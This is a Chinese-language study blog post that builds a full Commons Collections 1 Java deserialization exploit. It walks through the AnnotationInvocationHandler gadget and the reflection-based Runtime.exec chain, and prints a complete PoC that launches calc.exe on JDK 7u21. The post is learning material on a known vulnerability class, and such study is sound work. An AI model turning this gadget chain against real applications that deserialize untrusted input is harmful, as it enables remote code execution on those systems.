Java篇Commons Collections 1 (2)

CommonsCollections 1 (2)

上一篇文章中,我们写出了一个本地测试的一个cc1的类,但是实际的利用中我们需要把它变成反序列化的流,而在这个变换的过程中就会出现一些问题,比如说有些类没有实现Serializable接口,不能被序列化等等,这篇文章我们就来把它变成可利用的POC

如何触发

我们回想一下上一篇文章中是如何触发漏洞的,我们手动向修饰过的map中添加新元素从而触发一系列的回调,但在实际的漏洞利用环境中我们肯定是不能手工执行的,我们需要让它在反序列化后能自动触发,也就是说需要找个某个类,在执行了这个类的readObject后能够触发回调

而这个类就是sun.reflect.annotation.AnnotationInvocationHandler,我们可以看看这个类的readObject方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);}
catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type inannotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)));}}}}

看起来代码挺复杂的,但实际上逻辑很简单,就是它会遍历我们反序列化后的map,也就是TransformedMap.decorate修饰的map里的所有元素,并依次对它设置值,而在setValue的时候就会触发TransformedMap里面注册的ChainedTransformer对象中的transform方法,从而触发回调

所以说我们就需要创建一个AnnotationInvocationHandler对象,将前面构造好的outermap放进来

这里要利用到我们前面讲过的反射知识,因为这个类是在JDK内部的类,所以说不能直接用new来实例化,得利用反射,首先利用反射获取到它的构造方法,然后利用构造方法获取对象就好了,而这个类的构造函数有两个参数,第一个参数是一个Annotation;第二个参数就是前面构造的map,所以说构造代码如下:

1
2
3
4
5
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);
InvocationHandler handler = (InvocationHandler) obj;

而这里为啥是Rention.class呢?是由于AnnotationInvocationHandler类中的readObject方法,这里因为要进入到if语句中,要让memberType不为空,所以说就需要满足两个条件,这里涉及到Java注释相关的技术,我也不太明白,这里就先直接用吧:

首先是AnnotationInvocationHandler的构造函数的第一个参数必须是Annotation的子类,且其中必须含有至少一个方法,假设方法名是X

第二个条件是被TransformedMap.decorate修饰的Map中必须有一个键名为X的元素

所以说为了满足这两个条件,我们用到了Retention,因为它正好就是Annotation的子类,而且它里面有个方法叫做value,所以说为了满足第二个条件我们还需要往map中添加一个元素,它的键名为value,值随意,代码为:innerMap.put("value", "abc");

关于反射

其实按照上面的思路,我们已经可以写出POC了,将我们上面生成的obj对象进行序列化和反序列化操作就好了,具体的方法我前面的文章中有写到,这里我就直接给出代码了:

1
2
3
4
5
6
7
8
9
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oo = new ObjectOutputStream(barr);
oo.writeObject(obj);
System.out.println("对象序列化成功!");
oo.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
System.out.println("对象反序列化成功!");

但当我们运行这段POC的时候,是会报错的,原因其实我们文章最开头就讲了,那就是有些类并没有实现java.io.Serializable接口,而没有实现这个接口的类是不允许被序列化的;最开始时我们传给ConstantTransformer的是Runtime.getRuntime() 类,Runtime类并没有实现那个接口所以不允许被反序列化,但我们可以不直接利用Runtime类,而是通过反射来获取Runtime对象的呀,就是先获取getRuntime方法,然后利用这个方法创建对象就好了,方法其实上一篇文章也讲到了,这里给出代码:

1
2
3
Method m = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) m.invoke(null);
r.exec("calc.exe");

这里我们利用的就是Runtime.class对象而不是Runtime.getRuntime()对象了,前者是一个java.lang.Class对象,后者是一个 java.lang.Runtime对象。Class类有实现Serializable接口,所以是可以被序列化的

然后我们再将这段反射的代码写成transformers的形式,就是说先用ConstantTransformer返回Runtime.class对象,然后再利用InvokerTransformer执行一个一个的方法就好了,结合反射的代码很容易看懂:

1
2
3
4
5
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0]}),
new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc.exe" }),};

完整POC

我们把上面所有以及上一篇文章综合起来,形成完整的POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1_2 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0]}),
new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc.exe" }),
};

Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "abc");

Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);
InvocationHandler handler = (InvocationHandler) obj;

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
System.out.println("对象序列化成功!");
oos.close();

System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
System.out.println("对象反序列化成功!");
}
}

image.png

这里的注意事项就是得先往innerMap中添加一个键名为value的元素,键值随意,原因上面也提到了

为什么无法触发?

从上图中可以看到,我们并没有报异常,并且输出了序列化后的数据流,但为啥没弹出计算器呢?因为在Java 8u71之后的版本里面,Java 官方修改了 sun.reflect.annotation.AnnotationInvocationHandler 中的readObject函数,具体可以看下面这篇文章:http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/f8a528d0379d

改动后,不再直接使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值添加进去。 所以后续对Map的操作都是基于这个新的LinkedHashMap对象,而原来我们精心构造的Map不再执行set或put操作,也就不会触发RCE了

这里的内容我都是抄的p神的,因为我也是学习为主,明白了它的思路就好了,也就懒得去改Java的版本号了

版本修改

学到后面发现没有一个java的老版本还是不太方便,毕竟还有什么Java原生类反序列化啥的,那个版本要求是7u21以下,所以说干脆就装了7u21的版本好了

官网下载地址:https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html,还挺难找的,java的老版本藏得老深了

image.png

下载这个压缩包就行,然后解压,在idea中新建一个项目,SDK就选择刚刚下载好的1.7,然后进去之后注意下面四个地方:

image.png

image.png

image.png

image.png

这样应该就可以了,如果哪里还有问题请参考:https://www.cnblogs.com/east7/p/13337630.html这篇文章,这样版本就切换好了。跑一跑上面的POC:

image.png

成功了,版本一切换,POC就可以跑了

而在ysoserial中,用的却是LazyMap而不是我们这里用的TransformedMap,事实上好像也确实LazyMap用的更多,下一篇文章我们就来看如何把它转换为LazyMap

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2022 Arsene.Tang
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信